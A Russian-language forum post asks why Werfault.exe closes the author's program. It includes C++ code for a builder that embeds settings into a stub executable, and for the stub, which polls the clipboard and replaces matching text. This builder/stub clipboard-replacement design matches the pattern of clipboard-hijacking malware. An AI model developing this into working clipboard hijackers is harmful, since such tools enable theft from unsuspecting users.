Werfault.exe мешает работе моей программе!
Есть "билдер". В него вводишь текст, который нужно заменять Билдер записывает текст в struct и помещает в конец стаба. После создаёт билд. После запуска - он почему то крашится Werfault.exe. Крашится в смысле просто берёт и закрывает мою программу, без сообщений, просто закрыл и всё. Я увидел это в processhacker.exe Вот код:
struct Settings {
char text[128]; // На что заменять
char replace[128]; // Что заменять
};
int main(int argc, char** argv) {
Settings sett;
long int filesize = FILESIZE; // Размер стаба
int size = MAX_PATH;
char* filename = new char[size];
GetModuleFileNameA(NULL, filename, size);
ifstream file(filename, ios::binary);
file.seekg(filesize);
file.read((char*)&sett, sizeof(Settings));
file.close();
string text;
while(true) {
Sleep(500);
if(OpenClipboard(NULL)) {
HANDLE hData = GetClipboardData( CF_TEXT );
text = (char*)GlobalLock( hData );
GlobalUnlock( hData );
CloseClipboard();
if(text.find(string(sett.replace)) == 0) {
const char* output = sett.text;
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
MessageBox(NULL, "Текст заменён!", "OK", MB_OK);
}
CloseClipboard();
}
}
return 0;
}
Код билдера:
Settings sett;
char filename[128];
GetWindowTextA(GetDlgItem(hwndDlg, BOX_TEXT), sett.text,
sizeof(sett.text));
GetWindowTextA(GetDlgItem(hwndDlg, BOX_REPLACE), sett.replace,
sizeof(sett.replace));
ifstream stub("STUB.exe", ios::binary);
ofstream build("builded.exe", ios::binary);
build << stub.rdbuf();
stub.close();
build.write((char*)&sett, sizeof(Settings));
build.close();
MessageBox(NULL, "Ваш файл создан под именем builded.exe!", "OK", MB_OK);
Задумку как сделать стаб и билдер взял с ютуба! Уже не знаю что делать, как же меня бесит этот Werfault.exe